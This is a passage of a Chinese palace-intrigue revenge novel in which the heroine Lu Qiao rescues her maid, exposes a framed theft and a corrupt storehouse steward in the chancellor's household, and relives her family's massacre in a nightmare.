“大小姐,我的命是老侯爷救下的,老侯爷是什么样的人,我清清楚楚,我坚信老侯爷不会谋逆。”
“十年前,我不在上京,这些年我都为那时没能帮上老侯爷自责不已,现在您回来了。”巩钧双膝跪地,“我巩钧愿为大小姐肝脑涂地,万死不辞,只为平阳侯复仇!”
陆乔眼眶含泪,将巩钧扶了起来。
“多余的话,我不再说了。”
“巩大哥,我需要你暗地里帮我查个人。”
“谁?”
“城防营统领——崔尧。”
第6章 纵有刀山火海,我陪你
一连七日陆乔都老老实实地在李嬷嬷手下学着规矩。
就连暗地里受了夫人嘱咐要刁难陆乔的李嬷嬷也挑不出她一点错处。
无论李嬷嬷的要求有多严苛,陆乔却总能做好,甚至陆乔对自己更加严厉。
起初陆乔学得是有些生涩,可她学得很快,看着不像新学的,倒像是过去学过一样。
无论怎样,这几日相处下来,李嬷嬷对陆乔倒是心服口服,心底里还生出几分赞赏来。
屋外大雪纷飞,陆乔在房中静心练字。
才不过七日下来,李嬷嬷早已没有什么好教导她的了。
唯独这字,是需要下工夫苦练的。
过去,陆乔受养父母恩惠,也在书孰读了几年书,可乡下书孰里多年落榜的老秀才,连本尚好的字帖也是找不出来的。
思及养父母,陆乔停笔看向窗外。
院中此时堆满积雪。
过去,养父母家里贫寒,从来也买不起什么时兴玩具。
但一到冬日,养父就会变着法地给陆乔堆着各式各样的雪人。
在雪地里跟陆乔闹腾着打雪仗。
养母也不拦着,总默默煮好姜汤,在廊下温柔地看着她们玩闹。
直到她们衣服被雪浸湿,就笑着唤她们进屋。
嘴里还不断念叨着养父。
“和女儿玩闹也这么疯,仔细着别让乔乔染了风寒。”
那时的她们一无所有,却总能融化陆乔的心,让她暂时忘却悲痛。
陆乔失神地望着雪,内心深处隐隐作痛,这样的痛她已经经历了两次。
现如今她已然一无所有,那便放手一搏吧。
所有伤害过她亲人的人,如同苏婉婉一般,她陆乔都会让他们连本带利的还回来!
一阵敲门声传来,霜月上前开门。
**得意地笑着:“大小姐,人我找到了。”
说罢,他身形一闪,将身后一女子露了出来。
她长相乖巧,看着不过也是十六七岁的样子。
看到对方人,两人瞬间双眼通红,但相视许久,竟谁也不曾言语。
**见此场面,识趣地后退几步,恭敬道:
“大小姐,小的已把珠儿姑娘的名字报到管事那边了,对外说的是珠儿姑娘是您在乡下时的玩伴,现下把她寻过来给您做贴身丫鬟。”
说着他有些心有余悸,“还好大小姐命我寻她,恰巧寻到她时她正被人绑了要送到青楼为妓。”
陆乔脸色一寒,**心里一紧,连忙说道:“好在来得及,小的将珠儿姑娘救下,她没受什么伤。”
他打量着陆乔的脸色道:
“若没有旁的事,小的告退。”
**走后,陆乔将房中的丫鬟全都支了出去。
这会儿子,只剩二人独处。
珠儿扑通一下,双膝跪地,眼底的泪水再也藏不住。
“小姐,奴婢以为再也看不见您了。”
陆乔也擦了擦眼角的泪水,连忙将她扶起。
“过去我自顾不暇,如今来了上京才有机会寻你,说来说去,是我对不住你。”
“小姐这是哪儿的话,是奴婢没有护好你。”珠儿打量着眼前的小姐,二人幼年相伴,十年过去,眼里都没了从前的天真,“小姐,这么些年,你受苦了。”
珠儿说着,像是记起什么一样,她神色紧张。
“小姐,你既然好好活着,却又为何来这丞相府,你难道不知这丞相府......”
陆乔牵起珠儿的手,打断她的话。
“我知道!”
陆乔牵着珠儿走到桌边坐下,认真道:“我可以帮你寻个好去处,你不必再吃苦,也全了我们幼年时的主仆情分。”
闻言,珠儿立马起身跪倒在地。
“十年前,珠儿护主不力,已经是我此生最遗憾的事情。”
“如今既然上天恩赐,再见到小姐,奴婢以性命起誓,此生此世再也不会离开小姐。”
陆乔心中泛起一阵暖意,无奈地将她拉起。
“傻丫头,你又何必如此,我在这世上牵挂之人也没有几个,我只希望你能平安度过此生。”
可珠儿却挣脱陆乔的手掌,坚持跪在地上,神情严肃,话语却是掷地有声。
“小姐,无论你是要上刀山还是下火海,珠儿陪你。”
“哪怕是十死无生,珠儿也心甘情愿!”
陆乔的眼睛早已溢满泪水。
过去,在养父母家中,陆乔只能伪装自己不知过往,一
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直在流浪。
可如今珠儿回到她的身边,她终于不再是一个人了。
“好!”
她将珠儿拉了起来,二人相拥而泣,许久许久。
一连几日,陆乔都在房中练字。
珠儿成了陆乔房中的大丫鬟,许是见过当日陆乔是怎么对沈清婉的,霜月、寒梅也不敢说些什么。
多日大雪,今日倒是晴空**。
是难得的好天气。
珠儿便早早地到管家处,想领些冬日的披风、靴子,待中午日头大了些,就带陆乔出门走走。
陆乔看着天色,放下手中的笔,皱了皱眉头。
“霜月,珠儿去了多久了?”
霜月恭敬答道:“有一个时辰了。”
门外突然传来脚步声。
来着正是赵嬷嬷,她恶狠狠地看着陆乔,嘴角阴冷。
“大小姐,夫人唤您去前厅答话呢。”
陆乔:“何事唤我?”
赵嬷嬷冷笑着:“您去了不就知道了。”
这一副兴师问罪的阵仗,陆乔心中一紧。
珠儿,许久未回。
该不会......
陆乔连忙起身,她神色冷峻。
“走。”
说罢,便不顾身后的赵嬷嬷,快步走向前厅。
一路上陆乔,不由得有些心慌。
果真,还未走到前厅,陆乔就听到隐约的惨叫声。
是珠儿!
陆乔顾不得其他,三步并作两步跑到前厅。
眼前的场景,让陆乔目眦尽裂。
她的好珠儿,她才寻回来的好珠儿,正被捆得五花大绑,受着鞭笞之刑。
血水已经浸透了珠儿冬日的棉衣,染到捆绑的麻绳上。
“都给我住手!”陆乔怒吼着。
“哟,姐姐终于来了。”沈清婉得意的声音响起。
当她看见陆乔悲痛欲绝的表情,她心里涌起一阵快感。
可真解气啊!
这个**仗着自己是嫡长女,回府的第一日就耀武扬威,在众人面前居然敢扇她耳光。
听说这小丫鬟陆乔宝贝的紧。
虽然不能拿陆乔怎么样,但动一个丫鬟来报仇却是可以的。
她就是要让这个小**知道,她沈清婉可不是好惹的!
第7章 谁偷了东西
陆乔浑身控制不住的颤抖,一股血气直冲她的心口。
正在行刑的小厮看到陆乔的目光,吓得里面后退。
陆乔一个箭步冲到珠儿身边,忙手忙脚解开捆着她的麻绳。
珠儿有气无力地靠在陆乔身上:“小...小姐....你来了......”
“她...她们说奴婢偷盗,是小姐指使的,但奴婢就算**也不会承认小姐没做过的事。”
陆乔轻轻将珠儿倚在一旁,哽咽道:
“你辛苦了,下面的事,由我来处理。”
转头看向厅中众人,脸色凌厉。
“是谁在说珠儿偷盗!”
继母王氏看了一旁的沈相,轻咳两声:
“清婉说你这丫头偷了她的东西,我们拦了珠儿,确实搜到了东西,人赃并获。”
“下人偷盗,你这个做主子也是难辞其咎!”
沈清婉得意道:“今年中秋时,皇上恩赏丞相府众人,其中赏了我一个琉璃彩花瓶。”
“今日一早,就有下人看她鬼鬼祟祟经过我房门前,不久我房中便发现东西丢失,拦下她一搜便在她身上搜到了。”
她捂嘴轻笑:“姐姐,听说这丫头是你乡下的玩伴,如此看来,乡下人品行果然低劣,一股子穷酸气,整日里只知道做些鸡鸣狗盗之事。”
“胡说!”珠儿气急,不顾身上的伤口,怒道,“我没有偷,这花瓶连着衣裳都是库房给我的,我不知这是御赐之物!”
“而且我根本没有去过你的房间!”
“咳咳咳!”因太过激动,咳出一口鲜血。
看得陆乔又是一阵心疼。
她拍拍珠儿的背:“你放心,有我在,没人冤得了你。”
站在一旁许久的沈清芷也满脸温柔劝说道:“姐姐,清婉虽说话难听了些,但说得总是没错的。”
“你这丫头实在品行低劣,库房怎么可能有清婉的御赐之物,这些物件平日里都是各屋自己收着的。”
她故作为难:“她又是偷盗又是撒谎的,我们府上可留不得这样的丫头,我同母亲说说情,此事到此为止,不再追究,只将她逐出府便罢了,你看可好?”
陆乔冷眼看着沈清芷,她一句话坐实了珠儿偷盗之事,还将她赶出府,又在沈相面前装了一波心善之人。
沈清婉可不愿就这样算了,她急忙说道:“那怎么行,下人偷盗御赐之物,可是要**的,怎么能如此轻易放过她!”
陆乔开口道:“不知妹妹可否回答我几个问题。”
沈清婉不屑:“你就是问十个、一百个问题,也改不了她偷盗的事实。”
陆乔并不理会,继续说道:“是哪个下人看见珠儿在你房门前鬼鬼祟祟。”
没想到陆乔竟会问得这么仔细,沈清婉眼神瞟到身后丫鬟。
丫鬟会意,上前一步:“是我。”
“很好。”陆乔径直走到她的面前,接着问道:“你是什么时辰看到珠儿的?”
“大......大概是辰时三刻吧。”
陆乔冷哼一声:“撒谎!辰时珠儿还在我房中伺候我研磨,何曾去了沈清婉房中。”
“我...我记错了!”丫鬟连忙说道:“是巳时!”
“巳时?”
“对...对!是巳时!”
陆乔:“现已过午时,你们才抓住珠儿不久,珠儿甚至都来不及回到我房中,可见若真是她偷盗,那她定然才偷不久,怎么可能是巳时偷的。”
“不...是....是午...午时偷的......”
继室见状脸色难看起来,真是废物。
陆乔呵斥道:“你大胆!牛头不对马嘴,如此撒谎污蔑御赐之物被偷,你可是要掉脑袋的!”
“我我我我......”丫鬟瞬间慌了神,身体瘫软在地。
沈清芷连忙道:“姐姐,这丫头随意一瞥,自然不记得时辰,况且什么时辰见过她偷盗重要吗?重要的是现下东西确实在珠儿身上,还是当着父亲的面搜出来的,大家都亲眼见到,可做不得假。”
陆乔闻声望向桌上的盒子,一旁的下人小心谨慎地将里面的瓷瓶拿了出来。
确实是琉璃彩花瓶,御赐之物。
陆乔道:“你们说,这是珠儿偷来的,可珠儿说这是他从库房总管那边拿回来的。”
“库房总管可在?”
早已跪在一旁的李总管抬起头:“大小姐,方才相爷已问过小人,小人确实不曾将御赐之物交给珠儿姑娘,况且库房的记档里也没有珠
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儿姑娘的签字啊。”
说着,李总管恭敬地将账簿呈给陆乔。
陆乔定睛一看,确实没有珠儿签收的字据。
“你撒谎!”珠儿气急:“李总管,是你说小姐房中花瓶破损,库房有个新的让我带走,又说一时半会找不到账簿,便说让我下午晚些再来补上记档也行的。”
李总管哭丧着脸,跪在沈相脚边。
“不知珠儿姑娘何出此言,小的...小的从未说过啊......”
陆乔抿着唇,沈清婉嘲弄道:“人证物证俱在,姐姐就莫要挣扎了。”
看见沈清婉,陆乔似是想到什么,勾唇一笑。
“不知妹妹可否再回答我最后一个问题。”
“你说。”
“珠儿没有偷盗时,这花瓶,妹妹是放在房中哪里?”
听到这个问题沈清婉不由得笑出了声,她还以为陆乔要问得多大的问题,看起来不过是在垂死挣扎罢了。
“当然是摆在我的正厅供人观赏了。”
听了许久陆乔问一些不想干的问题,沈相不耐烦了起来。
“你的丫鬟偷盗,你本就难辞其咎,如今在这里纠缠半天,你到底还要作甚!”
陆乔微微一笑:“父亲,我想我都问清楚了。”
“你什么意思?”
“都说珠儿是到沈清婉房中偷盗,沈清婉将这花瓶供在房中,可你们搜到珠儿时,这花瓶却好好的在盒子中。”
陆乔环视众人,目光凌厉:“你们的意思是珠儿特地提前准备了这么大装花瓶的盒子,在府中走了大老远,又偷偷摸摸跑到沈清婉房中偷盗吗?”
“先不论珠儿来相府不过几日,连路都不知道怎么走,她是我房中的丫鬟,怎么如此熟悉你房中的布局。”
沈清婉脸色一变:“她要偷东西,自自然准备充分,盒...盒子是她提前拿的也说不准啊。”
沈清婉是想陷害陆乔,可她却又生怕御赐之物真的磕着碰着,特意让李总管寻了个大的盒子,将这个花瓶包得紧紧实实的。
没想到却搬起石头砸自己的脚。
陆乔并未答话,又转身看向跪在一旁的李总管。
厉声道:
“李总管,你当着父亲的面撒谎,你可之罪?”
第8章 那我来罚
李总管吓得浑身一激灵:
“小......小的不明白大小姐在说什么,小的从未撒谎。”
陆乔冷哼一声。
“哼,从未撒谎吗?”
“那这装花瓶的盒子从何而来?这盒子上的标识分明就是库房的印记。”
李总管循声望去,脸色煞白。
丞相府不是小门小户,库房中不同物件的存储皆有要求,自然不能杂乱无章,这些置物盒都是精心设计,统一打造的。
陆乔才回府不久,房中自然没有这些东西。
沈自山脸色阴沉。
陆乔这一路问下来,他就是再蠢笨也知道,这是在玩哪出了。
“大胆!”
李总管吓得脖子一缩,浑身发抖。
沈自山训斥旁边的沈清婉:“你可还有什么话说!”
沈清婉双腿一软,跪在地上。
“我...我......”
这时,陆乔暗自给**递了个眼神。
**悄悄点头。
一只手背在身后,打了个手势。
一旁小厮突地出声:“相爷,小的有错,请相爷饶小的一命。”
沈相皱眉:“你又有何事?”
“李总管借库房总管职位之便,暗自出售相府财物,高卖低买多次,大肆掳掠金银。”
李总管惊得冷汗直流,连忙打断:“你胡说八道!”
倒卖相府财务是不假,可他都是偷偷干的,这个小子怎么会知道。
继母王氏在一旁脸色一变,这李总管可是她的人,一直以来帮她做了不少见不得光的事,而且其中获得的金银多半进了她的口袋。
若是被拆穿......
沈相怒斥李总管:“你住嘴!让他接着说!”
小厮似是豁出去了,颤颤巍巍:
“小的也是偶然撞见李总管将相府的瓷器偷偷拿给百宝阁的掌柜,然后又偷偷带回一些仿制品。”
“小的本想禀报相爷,可...可李总管却屡次以性命威胁。”
“前...前几日,李总管又转手卖了一批相府财物,小的实在没有办法,便求助了王管事。”
“可我们二人终日被李总管欺压,李总管说...说哪怕我们告到您这里,他也自有解释的理由。”
“最后,王管事将手中所有的钱财,全部压到百宝阁,让百宝阁的掌柜把我们相府的东西留了,待凑足了钱财,再去一并赎回。”
**大义凛然,径直跪在地上:
“小人只为相府财产不流落到他人手中罢了。”他说着痛心疾首,“可小人实在是手中并无多少银两,无奈变卖了自己手里所有的财帛,求了百宝阁掌柜数日,也才堪堪让掌柜多留几日罢了。”
“小的所言句句属实,相爷只需派人到百宝阁一查便知!”
倒卖财物是有的,可后面威胁他们二人李总管可从没有干过,他甚至不知这二人如何知晓这些事,不然怎么可能留他们活命。
李总管猩红的一双眼睛,失去理智,扑到**身上,伸手狠狠扼住**的脖子。
“你撒谎!我从未威胁你们二人!”
一旁围观众人惊呼出声,场面一阵混乱,继室王氏脸色阴沉得要滴出水来。
沈自山脸都气白了,怒拍桌子。
“放肆!给我住手!”
站在一边的小厮们连忙过来将他拉开。
只是这一切终成定局,只要相爷派人到百宝阁走一趟,一切皆明了。
沈自山虎目怒瞪:“李总管,你可有话说!”
李总管抬起头,慌忙看着王氏。
张了张嘴,还没发出声音,便看见王氏手持一个小长命锁,眼神里全是警告。
最后他垂头撞地:“一切皆是小人受财帛所动心,做下这等污糟事来,请相爷降罪。”
沈自山沉声道:
“痛打五十大板,不准医治,直接送到城外的庄子上做苦力。”
闻言,李总管心里一沉,瘫倒在地。
五十大板打下来,他能否活下去还未可知,却不让治疗,让他去庄子上做苦力。
看来相爷是没想留他的命了。
“**,你敢于守护相府财产,很好!”
沈自山赞赏地看着**,本来**成功接到陆乔回府,这个差事就办得不错,哪怕中间偶遇山贼,其他随从都**,可**却能安然无恙地带着陆乔回府,确实有勇有谋。
“今后,你便接了李总管的位子,做我相府的账房总管。”
**喜不自胜,连忙磕头谢恩。
虽说他之前也是个管事,但一直以来不过就是管几个下人的小管事,可这账房总管便不一样了。
除了管家之外,整个相府的下人里,那就是他最大了。
而且账房总管,
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就连主母要取财帛,也是要经过他。
他偷偷感激地望向陆乔。
一开始,这事他也是在找珠儿的时候偶然发现这件事的,他本想直接告到相爷那里。
可不知为何,他竟鬼使神差地找到陆乔禀报了此事。
他莫名觉得陆乔会有更好的法子。
果然,陆乔让他按兵不动,只交钱务必请百宝阁留住相府财务,明面上是为了忠心耿耿保住相府财务,而暗地里却是坐实了李总管偷盗,将脏物扣在百宝阁。
这陆乔一计,顶他在相府打拼多年。
如此看来,他跟着这个主子,是没错了。
解决完这里的事,沈自山正准备起身离开。
“父亲,且慢。”陆乔幽幽道,“这李总管处置了,那沈清婉污蔑我的丫鬟偷盗一事,父亲打算如何处置?”
沈清婉脸色苍白,自知无力辩驳,泪眼阑珊道:
“父亲,女儿一时糊涂,请父亲饶了我吧。”
沈清婉的生母柳姨娘也泪眼婆娑跪倒在地,巴掌大的脸上挂满泪珠,风韵犹存。
“相爷,清婉知错了,你就饶了她吧。”
沈自山无奈叹了口气。
“罚一个月例银,自己闭门思过去吧。”
说罢,沈自山又欲起身。
陆乔却不善罢甘休:“她污蔑我,还将我的丫鬟打成这样,父亲就只罚她一个月的例银吗?”
沈自山不满地看着陆乔。
“一个丫鬟而已,怎得还要我的女儿与她赔不是吗?”
闻言,沈清婉站起身得意地看着陆乔。
是我污蔑的你,打你的丫鬟,但父亲护着我,你又能怎样?
不过是乡下养的野丫头,还敢跟她比父亲的宠爱。
陆乔神色冷峻,质问道:
“父亲,当真只罚她一个月例银?”
沈自山沉声不满:“哼,本相的决定何时轮得到你来置喙!”
陆乔淡淡笑着:“好,很好。”
站在一旁的**,瞬间寒毛直竖。
在场的所有人只有他知道,陆乔越是淡定微笑,就代表着她已经愤怒到了极限。
只见,陆乔不语,只是走到沈自山的桌边。
拿起桌上的茶壶,反手就将茶壶砸到沈清婉的头上。
这一砸,她用了十成力。
“啊!!!”
!!!
???
第9章 宫宴?我不去了
沈清婉的额头上鲜血瞬间喷涌而出,混着茶水茶叶顺着她的脸颊,流到胸前的衣襟上。
她手捂着额头惊恐地尖叫着,跌落倒地。
一旁围观的众人皆是一惊,坐得最近的沈自山也溅得一身茶水。
见此场景的**默默闭上双眼。
没事的...没事的......
没事的!!!
沈自山难以置信,气得脑袋嗡嗡作响。
他站起身,虎目怒瞪陆乔:“逆女,你这是在做什么!”
陆乔擦了擦脸上被溅到的茶水。
冷笑着,你既然要关门息事宁人,那我便掀翻整个房顶。
要知道她陆乔,可从来不是什么好惹的人。
“既然你不能还我的丫鬟一个公道,那我就自己来。”
沈自山气得发抖,扬起手朝着陆乔的脸就要打过去。
可陆乔向前迈出一步,把自己的脸凑到沈自山的手边。
“父亲,打呀!”
“你是要女儿顶着父亲的掌印,后日里去见皇上吗?”
一时间,沈自山的手悬空而放,不上不下。
陆乔继续道:“况且,父亲根本不疼惜我这个女儿,届时我在陛下面前又如何自处呢?倒不如不去的好!”
沈自山抖着双唇:“你放肆!”
“宫宴岂是你说不去便不去的吗?”
陆乔指着围观众人,悄悄用力逼地眼眶通红。
“自我入府以来,你纵着她们欺我辱我,这偌大的丞相府对我何曾有过怜惜。”
她倔强的别过脸去:“哪怕是你后日将我绑到宫宴之上,我也不必会认你为父!”
王氏可急了:“不行!一定要去宫宴!”
“孩子,你这是在说什么胡话,相爷就是你的亲生父亲啊,你怎能在陛下面前说起不认父亲这种傻话。”
王氏心里开始怄起气来,她就不该听信柳氏谗言,同他们一并打压陆乔。
她又不差这一时半会的。
这下折了李总管不止,还闹得陆乔不去宫宴,不认相爷。
陆乔若不在皇上面前承认相府嫡长女的身份,那五皇子的婚约岂不是要落在她的清芷头上。
那可不行,她的清芷以后是要做太子妃、要做皇后的。
怎么能嫁给那个废物。
王氏深吸一口气,将沈自山的悬在空中的手按了下来。
满脸正义凛然:
“相爷,今日这事确实是清婉丫头做得不对,都是自己家的姐妹,却做出诬陷这档子事来,不仅不顾姐妹情分,还有失大家闺秀的风范,实在该重重罚过。”
沈自山也是知道其中关键,此时要稳住陆乔。
他也还要借助沈清芷当上未来皇上的岳丈。
可他自平阳侯谋逆一案后,在这上京可谓是一人之上,万人之下,何时受过这种气!
王氏悄悄拉着沈自山的衣袖,她心中着急得很。
沈自山紧咬牙关,脸色阴沉,顺着王氏的话。
“夫人说得没错,这清婉确实不对。”
“罚二十下手版,去祠堂罚跪三天三夜。”
本就看着女儿满头鲜血,心中怨恨的柳姨娘,此刻听见沈自山竟还要处罚。
更是两眼一抹黑,泪水喷涌而下。
“相爷!清婉这已受重伤,你不罚沈乔这个野丫头,却还要罚清婉......”
王氏哪里还容得柳氏再生事端,连忙打断她说的话,看着一旁的小厮。
“都是**吗,还不快将柳姨娘和清婉丫头扶下去!”
一群小厮蜂拥而上,连拖带拽地将她们二人拖了下去。
沈自山:“你这下可满意了?”
陆乔笑眼盈盈:“多谢父亲,秉公处置。”
“哼!”沈自山拂袖而去。
陆乔也急忙唤人,将珠儿抬回房中。
整个前厅留得王氏与沈清芷二人眼色阴毒。
今日,她们正房的脸,算是丢尽了!
*
疏影居
“啊——!”
沈清婉将房中的能砸的东西,都砸了个稀巴烂。
一切触手可及的精致物件,都成了她发泄怒火的牺牲品,稀里哗啦地碎了一地,狼藉不堪。
“我要杀了沈乔!”
“我要杀了这个**!”
“两次了!她已经打了我两次了,还一次比一次狂妄!”
沈清婉声音尖厉,柳姨娘担忧她额头上刚缠好的伤口又裂开。
连忙将她扶到位子上坐着。
“清婉,你当心自己的身子,我们总有机会弄死那个野丫头。”<
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br>沈清婉带着哭腔,满是不甘:
“娘!凭什么!”
“为何父亲次次都不追究!都护着她那个**!”
“就凭她是嫡出吗!可她不过是乡下捡回来的!我才是这丞相府金尊玉贵养着的小姐。”
“她凭什么跟我比!”说着,她将手边仅剩的茶杯也怒砸到底上,茶水溅落一地。
她眼眶猩红,气得牙痒痒,她这辈子没有受过这般羞辱。
“哟,这是闹的哪一出.....”沈清芷施施然踏步迈了进来。
她今日虽有不爽,却瞧着这满地狼藉,她心中亦有说不出的畅快。
这么多年,沈清婉仗着柳姨娘的恩宠,与她明里暗里过节也不少。
见沈清芷进来,沈清婉端坐起来,翻了个白眼。
“你这是来看我的笑话的吗?”
沈清芷微微一笑。
“哪的话~”
“你是我妹妹,如今受了委屈,我这是来关心你。”
沈清婉冷嗤一声。
“哼,你会关心我,不落井下石就算不错了。”
沈清芷见她这番模样,倒也不生气。
自顾自地找了个干净的椅子坐了下来。
“是,过去我们是有些不快。”
“但如今,我们有个共同的敌人,不是吗?”
沈清芷故作气愤,继续道:
“她一来府中,便占了我嫡长女的身份。”
“还屡次欺辱你我,我也再也忍不下去了。”
沈清婉有些期待沈清芷如何打算,却故作不屑:
“你忍不下去又能如何?”
沈清芷:“后日,沈乔不是要随父亲进宫吗?”
“那又如何?”
“我被父亲罚跪三日,届时连宫宴都不一定能去的。”
沈清芷继续道:
“我与母亲说道说道,让母亲给父亲求个请,宫宴之上,定是能带上妹妹的。”
可沈清婉却疑惑。
“我能去宫宴又如何?也不能把那个**怎么样。”
沈清芷天使般的面容,却语气阴毒:
“听说,清婉妹妹与太子表妹元昭郡主关系不错。”
闻言,沈清婉眼中精光一闪。
连忙凑到沈清芷身旁。
“你是说......”
第10章 一次又一次的无助
陆乔将珠儿安置好,看着房中的霜月、红梅。
“你们——跪到院中去,没我的吩咐,不许起身。”
二人抬头,惊慌地看着陆乔。
连忙跪倒在地。
“大小姐,不知奴婢犯了何罪,请大小姐饶了奴婢吧!”
如今数九寒冬,纵使今日日头高照。
可依旧寒风刺骨,满院霜雪。
若真跪在院中不计时辰,她们二人怕是要半条命没了。
“不知何罪?”陆乔质问道。
珠儿在前厅被打成那个样子,她却是丝毫没有得到消息。
尤其是红梅,在珠儿挨打的不久前,才去过前厅。
她们不可能不知道。
却故意等着夫人来传她,还仍旧故作不知地陪着陆乔前去。
霜月红梅二人跪伏在地,战战兢兢。
陆乔开口,打着明牌。
“我不论你们从前是谁的人,听了谁的安排。”
“但只要来我房中,便只能奉我为主,听我派遣。”
“你们若一日记不清此事,就在外面跪上一日。若十日不清,就在外头跪上十日!”
霜月红梅吓得冷汗直流。
她们其实谁的人都不是,但是夫人亲自挑选到陆乔府上。
多少也得听从夫人安排,更何况夫人是这相府的当家主母,她们也是没有办法。
珠儿被诬陷偷盗一事,她们二人确实是很早便知晓。
可夫人不让她们说,她们也不敢说。
没想到新来的大小姐聪慧过人,没过多久就想明白其中的关窍。
念及至此,二人连忙扣头请罪。
“霜月(红梅)知错,定谨记大小姐教诲,绝无二心。”
二人信誓旦旦,可陆乔却并不打算就此放过她们。
“你们去院中跪上一天一夜,把这件事给我记牢了!”
霜月红梅不敢再多言,道了声是,就自行走在院中罚跪。
不一会,**按王氏吩咐,带着膏药前来。
直到走到房中,**扑通一声,跪在地上。
他原本只想活命,却没想到跟着陆乔竟然青云直上。
“小的此番谨记大小姐恩德,以后定当万死不辞报效大小姐。”
陆乔端坐一旁,拿起桌上的茶杯,低头吹了吹茶水。
“王总管志仅在此吗?”
**不明白:“大小姐何意?”
“这管家之位,王总管可有兴趣?”
陆乔一眼,**瞬间有些激动。
丞相府的管家,他过去是想都不敢想的事。
若他以后真的成了丞相府的管家,哪怕是一些下品官员怕也是要看他的脸色,在他面前卑躬屈膝的。
**连忙磕头:
“今后还望大小姐多多提携。”
他知道,若陆乔真心想帮他,那陆乔定当真的做得到。
这一路走来,陆乔如何从乡野丫头,走到丞相府的千金,并坐稳这个相府嫡女之位,他可是看得清清楚楚。
他每日都在庆幸,那日苏婉婉吩咐下人打死陆乔父母时,他怕闹大了被相爷责罚,故而不仅没有下手,还劝阻了苏婉婉。
虽然劝阻失败,但他知道,那日陆乔杀了所有人,唯独留了他的性命是有这一层原因的。
如今陆乔杀了苏婉婉这件事,他可是再也不敢提及,他知道哪怕他说了出来,陆乔也有一百种方法脱身,然后弄死他。
“我一回府就让王总管高升,如今是不是到了王总管报答我的时候了?”
“大小姐尽管吩咐,小的必当肝脑涂地。”
陆乔低声嘱咐几句。
王总管脸色大变:“大小姐...我......我怎敢与主母为敌......”
“王总管,你莫不是还没有看明白,你带我回府的那一刻,注定与主母为敌。”
“你若想保住性命,青云直上,那就只有听我的安排。”
**心里纠结万分,却也只能听从安排。
陆乔多次嘱咐他小心行事,不可让人发现后便让**退下了。
自己则起身去看看珠儿。
珠儿这时也早已醒来,看着眼前的小姐。
方才在前厅上的一幕幕,她是看在眼里的,此时的她既暖心小姐给她撑腰,又心中无不愤恨。
她恨自己的无能,她不仅提供不了帮助,还给小姐拖后腿。
珠儿艰难撑起身子:“小姐......都是珠儿不小心,上了她们的当。”
“连累了小姐。”
陆乔急忙让她躺下,无奈地叹气
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“旁人处心积虑地要害你,你如何能躲得过?”
“况且,你是因我而受她们陷害,平白受了一身的伤。”
珠儿满脸泪水:
“不过小姐,那**他可信吗?”
陆乔:“不可信,但可用。”
珠儿急忙说道:“那你......”
陆乔拍了拍珠儿的手,示意让她心安:“你放心,你家小姐自有安排。”
“你现在当务之急是养好身体,虽说你这一身的伤没一个月好不完全。”
“可我后日要去宫宴,你放心我一个人去吗?”
“我这两日一定养好身体,到时候会护着小姐!”珠儿一脸凝重,抄起一旁的药,张口就喝了下去。
汤药从舌根泛起的苦味,让她不由得小脸皱了起来。
陆乔宠溺的笑着。
“你好好休息吧。”
夜深,窗外悄然下起大雪。
在雪落大之前,陆乔还是心软让霜月红梅回去了。
在这丞相府为奴为仆,她们也有自己的不易,陆乔敲打的目的做到了就行。
累了一天的陆乔,终于沉沉睡去。
可睡梦中,陆乔却也不得安稳。
她发现自己又一次穿着幼时最喜欢的樱草色小袄,正被母亲藏在暗格中。
天色昏暗,伴着雷声下着瓢泼大雨。
尖叫声、哭喊声、兵刃砍入骨肉的闷响、垂死的呻吟.......充斥在她的耳旁。
她颤抖着瘦小的身体,捂着嘴角尽量不让自己哭出声音。
平阳侯府满地的鲜血混着雨水,渗到她的脚底。
浓稠的血腥味刺激着她的感官,她无法控制地颤抖着。
脚边的这些血,都是她的至亲的鲜血......
透过缝隙,她隐约看见母亲躺在血泊之中,紧紧抓住一个将军的脚,似是为了让他不要朝着她的方向而来。
那个将军抬手,径直将手中的刀往下插入母亲的胸前。
陆乔想尖叫,喉咙却像是被堵住,发不出任何声音。
整个身体,动弹不得。
一次又一次......
她就这样无助、无能地看着母亲死在了眼前。
“小姐!”
“小姐,你快醒醒!”
第11章 沈清柔与齐王
在珠儿的呼唤中,陆乔这才缓缓睁眼。
看着眼前的珠儿,陆乔知道,她又做梦了。
多少次,她已经记不清自己多少次梦到那个雨夜。
可是每一次的她,用尽全力都无法迈出一步,无法走出那个暗格。
她实在太懦弱了。
她永远都只能待在那个暗格里,看着母亲为了救她,惨死在她的面前。
她颤抖着身躯,紧紧抱着珠儿。
第一次,哭了出来。
她宣泄着自己压抑多年的情绪。
屋内烛光舞动,两个小人紧紧相拥。
陆乔泣不成声:
“珠儿,为什么!为什么!”
“为什么每一个爱我的人,都没有好下场!”
“爷爷,父亲、母亲、养父、养母......”
陆乔红彤的眼眶,看着自己的双手,泣不成声。
“她们...她们就那样死在我的面前,我无能为力,我永远都保护不了她们.....”
“她们死的那么惨!”
陆乔狠狠地将手砸在床边的木头上。
“我怎么会这么没用!”
“都怪我!都怪我!”
珠儿心脏绞痛着,她把陆乔的手护在自己的掌心。
她的小姐,她的好小姐是这天底下最好的人。
可命运捉弄,歹人为祸。
她的小姐,这辈子,真的太苦了。
珠儿哭着:
“小姐,这不是你的错!”
“是伤害她们的人,是她们的错!”
“你已经给养父母报仇了,现在我们正在一步步给老侯爷他们报仇。”
“这不是很好吗?”
“我们一定会做到的,一定会为所有人报仇雪恨!”
珠儿紧紧地将陆乔抱在怀中。
试图用自己的温暖,驱散陆乔心头的寒冷。
陆乔无力地靠着,哭着。
就这样沉沉睡去。
这一觉,睡得太沉太沉。
她一个人撑着这么多年,实在太累太累了。
第二日,**将陆乔进宫要穿的衣物首饰都拿了过来。
陆乔上身试了试。
陆乔立于人等人高的黄铜镜前,任由霜月红梅为她整理衣襟。
当宫装完整地穿在她身上时。
就连她自己,也不由得愣住了神。
站在一旁的**亦是看得呆住了,平日众人只知沈清芷容貌冠绝上京城,可如今看着眼前的陆乔,她不仅生得美丽,而且更多一分贵气。
身旁的珠儿,眼底泛起泪光。
这才是她的小姐应有的样子,她生来就该是如此。
如今却背负了太多太多。
*
宫宴这日,陆乔早早地起来了。
今日外面仍旧飘着小雪,快到年下了,整个上京都银装素裹起来。
霜月、红梅妥帖地为陆乔将衣物穿戴整齐后,为她披上一件淡粉色的大氅。
在贵气之中,又添了一分这个年龄的娇憨可爱。
陆乔带上的护手,便出门了。
这一次,进宫她带着珠儿和霜月。
珠儿休养了两日,身子好多了,好在那日都是伤在皮肉,没有伤及筋骨。
